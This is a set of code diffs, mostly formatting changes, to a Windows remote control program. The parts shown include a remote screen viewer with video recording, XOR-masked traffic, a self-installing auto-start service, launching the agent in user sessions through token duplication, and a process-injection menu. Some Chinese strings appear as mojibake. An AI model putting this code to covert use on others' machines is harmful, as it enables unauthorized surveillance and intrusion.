CBmpToAvi::GetErrMsg(code).c_str(), "提示");
m_aviFile = _T("");
} else {
::SetTimer(m_hWnd, TIMER_ID, duration, NULL);

View File

@@ -550,7 +550,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
Buffer tmp(szBuffer, ulOriginalLength);
szBuffer = tmp.Buf();
ContextObject->Encode(szBuffer, ulOriginalLength);
if (!m_Cctx) ContextObject->Encode(szBuffer, usingZstd);
if (!m_Cctx) ContextObject->Encode(szBuffer, ulOriginalLength, usingZstd);
size_t iRet = usingZstd ?
Mcompress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength):
compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength);

View File

@@ -200,30 +200,31 @@ void CScreenSpyDlg::OnLButtonDblClk(UINT nFlags, CPoint point)
CDialog::OnLButtonDblClk(nFlags, point);
}
void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp) {
void CScreenSpyDlg::PrepareDrawing(const LPBITMAPINFO bmp)
{
if (m_hFullDC) ::ReleaseDC(m_hWnd, m_hFullDC);
if (m_hFullMemDC) ::DeleteDC(m_hFullMemDC);
if (m_BitmapHandle) ::DeleteObject(m_BitmapHandle);
m_BitmapData_Full = NULL;
CString strString;
strString.Format("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
SetWindowText(strString);
CString strString;
strString.Format("%s - 远程桌面控制 %d×%d", m_IPAddress, bmp->bmiHeader.biWidth, bmp->bmiHeader.biHeight);
SetWindowText(strString);
m_hFullDC = ::GetDC(m_hWnd);
SetStretchBltMode(m_hFullDC, HALFTONE);
SetBrushOrgEx(m_hFullDC, 0, 0, NULL);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = CreateDIBSection(m_hFullDC, bmp, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
m_hFullDC = ::GetDC(m_hWnd);
SetStretchBltMode(m_hFullDC, HALFTONE);
SetBrushOrgEx(m_hFullDC, 0, 0, NULL);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = CreateDIBSection(m_hFullDC, bmp, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
SelectObject(m_hFullMemDC, m_BitmapHandle);
SelectObject(m_hFullMemDC, m_BitmapHandle);
SetScrollRange(SB_HORZ, 0, bmp->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, bmp->bmiHeader.biHeight);
SetScrollRange(SB_HORZ, 0, bmp->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, bmp->bmiHeader.biHeight);
GetClientRect(&m_CRect);
m_wZoom = ((double)bmp->bmiHeader.biWidth) / ((double)(m_CRect.Width()));
m_hZoom = ((double)bmp->bmiHeader.biHeight) / ((double)(m_CRect.Height()));
GetClientRect(&m_CRect);
m_wZoom = ((double)bmp->bmiHeader.biWidth) / ((double)(m_CRect.Width()));
m_hZoom = ((double)bmp->bmiHeader.biHeight) / ((double)(m_CRect.Height()));
}
BOOL CScreenSpyDlg::OnInitDialog()
@@ -278,11 +279,11 @@ BOOL CScreenSpyDlg::OnInitDialog()
VOID CScreenSpyDlg::OnClose()
{
if (!m_aviFile.IsEmpty()) {
KillTimer(TIMER_ID);
m_aviFile = "";
m_aviStream.Close();
}
if (!m_aviFile.IsEmpty()) {
KillTimer(TIMER_ID);
m_aviFile = "";
m_aviStream.Close();
}
CancelIO();
// 恢复鼠标状态
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
@@ -343,9 +344,9 @@ VOID CScreenSpyDlg::OnReceiveComplete()
}
case TOKEN_BITMAPINFO: {
SAFE_DELETE(m_BitmapInfor_Full);
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength];
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength];
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);
PrepareDrawing(m_BitmapInfor_Full);
break;
}
@@ -560,33 +561,34 @@ VOID CScreenSpyDlg::DrawTipString(CString strString)
SetTextColor(m_hFullDC, OldBackgroundColor);
}
bool DirectoryExists(const char* path) {
DWORD attr = GetFileAttributesA(path);
return (attr != INVALID_FILE_ATTRIBUTES &&
(attr & FILE_ATTRIBUTE_DIRECTORY));
bool DirectoryExists(const char* path)
{
DWORD attr = GetFileAttributesA(path);
return (attr != INVALID_FILE_ATTRIBUTES &&
(attr & FILE_ATTRIBUTE_DIRECTORY));
}
std::string GetScreenShotPath(CWnd *parent, const CString& ip, const CString &filter, const CString& suffix) {
std::string GetScreenShotPath(CWnd *parent, const CString& ip, const CString &filter, const CString& suffix)
{
std::string path;
std::string folder = THIS_CFG.GetStr("settings", "ScreenShot", "");
if (folder.empty() || !DirectoryExists(folder.c_str())) {
CString strFileName = ip + CTime::GetCurrentTime().Format(_T("_%Y%m%d%H%M%S.")) + suffix;
CFileDialog dlg(FALSE, suffix, strFileName, OFN_OVERWRITEPROMPT, filter, parent);
if (dlg.DoModal() != IDOK)
return "";
folder = dlg.GetFolderPath();
if (!folder.empty() && folder.back() != '\\') {
folder += '\\';
}
path = dlg.GetPathName();
THIS_CFG.SetStr("settings", "ScreenShot", folder);
}
else {
if (!folder.empty() && folder.back() != '\\') {
folder += '\\';
}
path = folder + std::string(ip) + "_" + ToPekingDateTime(0) + "." + std::string(suffix);
}
std::string folder = THIS_CFG.GetStr("settings", "ScreenShot", "");
if (folder.empty() || !DirectoryExists(folder.c_str())) {
CString strFileName = ip + CTime::GetCurrentTime().Format(_T("_%Y%m%d%H%M%S.")) + suffix;
CFileDialog dlg(FALSE, suffix, strFileName, OFN_OVERWRITEPROMPT, filter, parent);
if (dlg.DoModal() != IDOK)
return "";
folder = dlg.GetFolderPath();
if (!folder.empty() && folder.back() != '\\') {
folder += '\\';
}
path = dlg.GetPathName();
THIS_CFG.SetStr("settings", "ScreenShot", folder);
} else {
if (!folder.empty() && folder.back() != '\\') {
folder += '\\';
}
path = folder + std::string(ip) + "_" + ToPekingDateTime(0) + "." + std::string(suffix);
}
return path;
}
@@ -611,44 +613,44 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
SaveSnapshot();
break;
}
case IDM_SAVEAVI: case IDM_SAVEAVI_H264: {
if (SysMenu->GetMenuState(nID, MF_BYCOMMAND) & MF_CHECKED) {
KillTimer(TIMER_ID);
SysMenu->CheckMenuItem(nID, MF_UNCHECKED);
SysMenu->EnableMenuItem(IDM_SAVEAVI, MF_ENABLED);
SysMenu->EnableMenuItem(IDM_SAVEAVI_H264, MF_ENABLED);
m_aviFile = "";
m_aviStream.Close();
return;
}
case IDM_SAVEAVI:
case IDM_SAVEAVI_H264: {
if (SysMenu->GetMenuState(nID, MF_BYCOMMAND) & MF_CHECKED) {
KillTimer(TIMER_ID);
SysMenu->CheckMenuItem(nID, MF_UNCHECKED);
SysMenu->EnableMenuItem(IDM_SAVEAVI, MF_ENABLED);
SysMenu->EnableMenuItem(IDM_SAVEAVI_H264, MF_ENABLED);
m_aviFile = "";
m_aviStream.Close();
return;
}
m_aviFile = GetScreenShotPath(this, m_IPAddress, "Video(*.avi)|*.avi|", "avi").c_str();
const int duration = 250, rate = 1000 / duration;
FCCHandler handler = nID == IDM_SAVEAVI ? ENCODER_MJPEG : ENCODER_H264;
int code;
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
MessageBox(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " +
CBmpToAvi::GetErrMsg(code).c_str(), "提示");
m_aviFile = _T("");
}
else {
::SetTimer(m_hWnd, TIMER_ID, duration, NULL);
SysMenu->CheckMenuItem(nID, MF_CHECKED);
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
MessageBox(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " +
CBmpToAvi::GetErrMsg(code).c_str(), "提示");
m_aviFile = _T("");
} else {
::SetTimer(m_hWnd, TIMER_ID, duration, NULL);
SysMenu->CheckMenuItem(nID, MF_CHECKED);
SysMenu->EnableMenuItem(nID == IDM_SAVEAVI ? IDM_SAVEAVI_H264 : IDM_SAVEAVI, MF_DISABLED);
}
break;
}
case IDM_SWITCHSCREEN: {
BYTE bToken[2] = { COMMAND_SWITCH_SCREEN };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
}
break;
}
case IDM_MULTITHREAD_COMPRESS:{
case IDM_SWITCHSCREEN: {
BYTE bToken[2] = { COMMAND_SWITCH_SCREEN };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
break;
}
case IDM_MULTITHREAD_COMPRESS: {
static int threadNum = 0;
threadNum = 4 - threadNum;
BYTE bToken[2] = { CMD_MULTITHREAD_COMPRESS, (BYTE)threadNum };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
BYTE bToken[2] = { CMD_MULTITHREAD_COMPRESS, (BYTE)threadNum };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
SysMenu->CheckMenuItem(nID, threadNum ? MF_CHECKED : MF_UNCHECKED);
break;
}
@@ -694,16 +696,16 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
{
if (!m_aviFile.IsEmpty()) {
LPCTSTR lpTipsString = _T("");
if (!m_aviFile.IsEmpty()) {
LPCTSTR lpTipsString = _T("");
m_aviStream.Write((BYTE*)m_BitmapData_Full);
m_aviStream.Write((BYTE*)m_BitmapData_Full);
// 提示正在录像
SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
CDialog::OnTimer(nIDEvent);
// 提示正在录像
SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
CDialog::OnTimer(nIDEvent);
}
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)

View File

@@ -98,8 +98,8 @@ public:
double m_wZoom=1, m_hZoom=1;
bool m_bMouseTracking = false;
CString m_aviFile;
CBmpToAvi m_aviStream;
CString m_aviFile;
CBmpToAvi m_aviStream;
void OnTimer(UINT_PTR nIDEvent);
bool Decode(LPBYTE Buffer, int size);

View File

@@ -542,9 +542,9 @@ public:
{
return Parser.Parse(buf, CompressMethod, PeerName);
}
void Encode(PBYTE data, bool &flag) const
void Encode(PBYTE data, int len, const bool &flag) const
{
flag ? data[0] ^= 0x2B : 0x2B == 0x2B;
flag ? (len > 1 ? data[1] ^= 0x2B : 0x2B == 0x2B) : 0x2B == 0x2B;
}
// Encode data before compress.
void Encode(PBYTE data, int len) const

View File

@@ -46,9 +46,9 @@ static void ServiceWriteLog(const char* message)
SYSTEMTIME st;
GetLocalTime(&st);
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond,
message);
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond,
message);
fclose(f);
}
}
@@ -70,9 +70,9 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
// 打开服务
SC_HANDLE hService = OpenServiceA(
hSCM,
SERVER_SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
hSCM,
SERVER_SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
if (!hService) {
CloseServiceHandle(hSCM);
return FALSE; // 未注册
@@ -85,12 +85,11 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
DWORD bytesNeeded = 0;
memset(&ssp, 0, sizeof(ssp));
if (QueryServiceStatusEx(
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded))
{
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded)) {
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
}
@@ -230,9 +229,9 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
ServiceWriteLog("ServiceMain() called");
g_StatusHandle = RegisterServiceCtrlHandler(
SERVER_SERVICE_NAME,
ServiceCtrlHandler
);
SERVER_SERVICE_NAME,
ServiceCtrlHandler
);
if (g_StatusHandle == NULL) {
ServiceWriteLog("RegisterServiceCtrlHandler failed");
@@ -358,10 +357,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
BOOL ServerService_Install(void)
{
SC_HANDLE schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
@@ -385,16 +384,16 @@ BOOL ServerService_Install(void)
Mprintf("Executable path: %s\n", szPathWithArg);
SC_HANDLE schService = CreateServiceA(
schSCManager,
SERVER_SERVICE_NAME,
SERVER_SERVICE_DISPLAY,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
szPathWithArg,
NULL, NULL, NULL, NULL, NULL
);
schSCManager,
SERVER_SERVICE_NAME,
SERVER_SERVICE_DISPLAY,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
szPathWithArg,
NULL, NULL, NULL, NULL, NULL
);
if (schService == NULL) {
DWORD err = GetLastError();
@@ -406,11 +405,9 @@ BOOL ServerService_Install(void)
CloseServiceHandle(schService);
}
return TRUE;
}
else if (err == ERROR_ACCESS_DENIED) {
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied. Please run as Administrator\n");
}
else {
} else {
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
}
CloseServiceHandle(schSCManager);
@@ -435,19 +432,16 @@ BOOL ServerService_Install(void)
if (QueryServiceStatus(schService, &status)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
Mprintf("SUCCESS: Service is running\n");
}
else {
} else {
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
}
}
}
else {
} else {
err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
Mprintf("INFO: Service is already running\n");
err = 0;
}
else {
} else {
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
}
}
@@ -460,10 +454,10 @@ BOOL ServerService_Install(void)
void ServerService_Uninstall(void)
{
SC_HANDLE schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
@@ -471,10 +465,10 @@ void ServerService_Uninstall(void)
}
SC_HANDLE schService = OpenServiceA(
schSCManager,
SERVER_SERVICE_NAME,
SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS
);
schSCManager,
SERVER_SERVICE_NAME,
SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS
);
if (schService == NULL) {
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
@@ -495,14 +489,12 @@ void ServerService_Uninstall(void)
Mprintf(".");
Sleep(1000);
waitCount++;
}
else {
} else {
break;
}
}
Mprintf("\n");
}
else {
} else {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
@@ -513,8 +505,7 @@ void ServerService_Uninstall(void)
Mprintf("Deleting service...\n");
if (DeleteService(schService)) {
Mprintf("SUCCESS: Service uninstalled successfully\n");
}
else {
} else {
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
}

View File

@@ -51,7 +51,7 @@ static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProces
if (arr->count >= arr->capacity) {
size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc(
arr->items, newCapacity * sizeof(ServerAgentProcessInfo));
arr->items, newCapacity * sizeof(ServerAgentProcessInfo));
if (!newItems) {
return FALSE;
}
@@ -111,8 +111,8 @@ static void ServerMonitor_WriteLog(const char* message)
SYSTEMTIME st;
GetLocalTime(&st);
fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond, message);
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond, message);
fclose(f);
}
}
@@ -216,7 +216,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
DWORD dwCount = 0;
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
&pSessionInfo, &dwCount)) {
&pSessionInfo, &dwCount)) {
BOOL foundActiveSession = FALSE;
@@ -228,8 +228,8 @@ static void MonitorLoop(ServerSessionMonitor* self)
// 记录会话每5次循环记录一次避免日志过多
if (loopCount % 5 == 1) {
sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s",
(int)sessionId,
pSessionInfo[i].pWinStationName);
(int)sessionId,
pSessionInfo[i].pWinStationName);
ServerMonitor_WriteLog(buf);
}
@@ -242,8 +242,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
ServerMonitor_WriteLog("GUI launched successfully");
// 给程序一些时间启动
Sleep(2000);
}
else {
} else {
ServerMonitor_WriteLog("Failed to launch GUI");
}
}
@@ -258,8 +257,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
}
WTSFreeMemory(pSessionInfo);
}
else {
} else {
if (loopCount % 5 == 1) {
ServerMonitor_WriteLog("WTSEnumerateSessions failed");
}
@@ -288,8 +286,7 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
char* pFileName = strrchr(currentExeName, '\\');
if (pFileName) {
pFileName++;
}
else {
} else {
pFileName = currentExeName;
}
@@ -347,7 +344,7 @@ static void TerminateAllGui(ServerSessionMonitor* self)
ServerAgentProcessInfo* info = &self->agentProcesses.items[i];
sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)",
(int)info->processId, (int)info->sessionId);
(int)info->processId, (int)info->sessionId);
ServerMonitor_WriteLog(buf);
// 检查进程是否还活着
@@ -357,18 +354,16 @@ static void TerminateAllGui(ServerSessionMonitor* self)
// 进程还在运行,终止它
if (!TerminateProcess(info->hProcess, 0)) {
sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError());
(int)info->processId, (int)GetLastError());
ServerMonitor_WriteLog(buf);
}
else {
} else {
ServerMonitor_WriteLog("GUI terminated successfully");
// 等待进程完全退出
WaitForSingleObject(info->hProcess, 5000);
}
}
else {
} else {
sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d",
(int)info->processId, (int)exitCode);
(int)info->processId, (int)exitCode);
ServerMonitor_WriteLog(buf);
}
}
@@ -398,18 +393,17 @@ static void CleanupDeadProcesses(ServerSessionMonitor* self)
if (exitCode != STILL_ACTIVE) {
// 进程已退出
sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up",
(int)info->processId, (int)exitCode);
(int)info->processId, (int)exitCode);
ServerMonitor_WriteLog(buf);
CloseHandle(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // 不增加 i因为删除了元素
}
}
else {
} else {
// 无法获取退出代码,可能进程已不存在
sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list",
(int)info->processId);
(int)info->processId);
ServerMonitor_WriteLog(buf);
CloseHandle(info->hProcess);
@@ -449,7 +443,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
// 复制为可用于创建进程的主令牌
HANDLE hDupToken = NULL;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError());
ServerMonitor_WriteLog(buf);
CloseHandle(hToken);
@@ -514,18 +508,18 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
// 在用户会话中创建进程GUI程序不隐藏窗口
BOOL result = CreateProcessAsUserA(
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数Yama.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
lpEnvironment, // 环境变量
NULL, // 当前目录
&si,
&pi
);
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数Yama.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
lpEnvironment, // 环境变量
NULL, // 当前目录
&si,
&pi
);
if (lpEnvironment) {
DestroyEnvironmentBlock(lpEnvironment);
@@ -545,8 +539,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
LeaveCriticalSection(&self->csProcessList);
CloseHandle(pi.hThread); // 线程句柄可以关闭
}
else {
} else {
DWORD err = GetLastError();
sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err);
ServerMonitor_WriteLog(buf);
@@ -554,11 +547,9 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
// 提供更详细的错误信息
if (err == ERROR_FILE_NOT_FOUND) {
ServerMonitor_WriteLog("ERROR: Executable not found");
}
else if (err == ERROR_ACCESS_DENIED) {
} else if (err == ERROR_ACCESS_DENIED) {
ServerMonitor_WriteLog("ERROR: Access denied - service may not have sufficient privileges");
}
else if (err == 1314) {
} else if (err == 1314) {
ServerMonitor_WriteLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
}
}

View File

@@ -29,10 +29,10 @@ BOOL CSplashDlg::Create(CWnd* pParent)
{
// 注册窗口类
CString strClassName = AfxRegisterWndClass(
CS_HREDRAW | CS_VREDRAW,
::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_WINDOW + 1),
NULL);
CS_HREDRAW | CS_VREDRAW,
::LoadCursor(NULL, IDC_ARROW),
(HBRUSH)(COLOR_WINDOW + 1),
NULL);
// 计算居中位置
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
@@ -45,9 +45,8 @@ BOOL CSplashDlg::Create(CWnd* pParent)
DWORD dwExStyle = WS_EX_TOPMOST | WS_EX_TOOLWINDOW;
if (!CreateEx(dwExStyle, strClassName, _T(""), dwStyle,
x, y, SPLASH_WIDTH, SPLASH_HEIGHT,
pParent ? pParent->GetSafeHwnd() : NULL, NULL))
{
x, y, SPLASH_WIDTH, SPLASH_HEIGHT,
pParent ? pParent->GetSafeHwnd() : NULL, NULL)) {
return FALSE;
}
@@ -79,16 +78,14 @@ void CSplashDlg::SetProgress(int nPercent)
if (nPercent < 0) nPercent = 0;
if (nPercent > 100) nPercent = 100;
if (GetSafeHwnd())
{
if (GetSafeHwnd()) {
PostMessage(WM_SPLASH_PROGRESS, nPercent, 0);
}
}
void CSplashDlg::SetStatusText(const CString& strText)
{
if (GetSafeHwnd())
{
if (GetSafeHwnd()) {
CString* pText = new CString(strText);
PostMessage(WM_SPLASH_STATUS, (WPARAM)pText, 0);
}
@@ -102,15 +99,13 @@ void CSplashDlg::UpdateProgressDirect(int nPercent, const CString& strText)
m_nProgress = nPercent;
m_strStatus = strText;
if (GetSafeHwnd())
{
if (GetSafeHwnd()) {
InvalidateRect(NULL, FALSE);
UpdateWindow();
// 处理待处理的消息,确保界面响应
MSG msg;
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
{
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
@@ -119,8 +114,7 @@ void CSplashDlg::UpdateProgressDirect(int nPercent, const CString& strText)
void CSplashDlg::Close()
{
if (GetSafeHwnd())
{
if (GetSafeHwnd()) {
PostMessage(WM_SPLASH_CLOSE, 0, 0);
}
}
@@ -136,8 +130,7 @@ LRESULT CSplashDlg::OnUpdateProgress(WPARAM wParam, LPARAM lParam)
LRESULT CSplashDlg::OnUpdateStatus(WPARAM wParam, LPARAM lParam)
{
CString* pText = (CString*)wParam;
if (pText)
{
if (pText) {
m_strStatus = *pText;
delete pText;
InvalidateRect(NULL, FALSE);
@@ -167,8 +160,7 @@ void CSplashDlg::OnPaint()
CBitmap* pOldBitmap = memDC.SelectObject(&memBitmap);
// 绘制背景 - 渐变效果
for (int y = 0; y < rect.Height(); y++)
{
for (int y = 0; y < rect.Height(); y++) {
int r = 45 + (y * 20 / rect.Height());
int g = 45 + (y * 20 / rect.Height());
int b = 55 + (y * 25 / rect.Height());
@@ -187,8 +179,7 @@ void CSplashDlg::OnPaint()
memDC.SelectObject(pOldPen);
// 绘制图标
if (m_hIcon)
{
if (m_hIcon) {
DrawIconEx(memDC.GetSafeHdc(), 30, 30, m_hIcon, 48, 48, 0, NULL, DI_NORMAL);
}
@@ -243,15 +234,13 @@ void CSplashDlg::DrawProgressBar(CDC* pDC, const CRect& rect)
pDC->SelectObject(pOldPen);
// 计算进度条填充区域
if (m_nProgress > 0)
{
if (m_nProgress > 0) {
CRect fillRect = rect;
fillRect.DeflateRect(2, 2);
fillRect.right = fillRect.left + (fillRect.Width() * m_nProgress / 100);
// 渐变填充
for (int x = fillRect.left; x < fillRect.right; x++)
{
for (int x = fillRect.left; x < fillRect.right; x++) {
float ratio = (float)(x - fillRect.left) / (float)fillRect.Width();
int r = (int)(50 + ratio * 50);
int g = (int)(150 + ratio * 50);

View File

@@ -465,27 +465,27 @@ void CSystemDlg::OnSize(UINT nType, int cx, int cy)
void CSystemDlg::OnPlistInject()
{
CListCtrl* ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
CListCtrl* ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
if (ListCtrl->GetSelectedCount() != 1)
if (ListCtrl->GetSelectedCount() != 1)
::MessageBox(m_hWnd, "ֻ<EFBFBD><EFBFBD>ͬʱ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD>64λ) <20><><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>?\n<EFBFBD>˲<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>̱<EFBFBD><EFBFBD><EFBFBD>!",
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD>64λ) <20><><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>?\n<EFBFBD>˲<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>̱<EFBFBD><EFBFBD><EFBFBD>!",
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1, dwProcessID = 0;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
if (Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
dwProcessID = data->ID;
dwOffset += sizeof(DWORD);
}
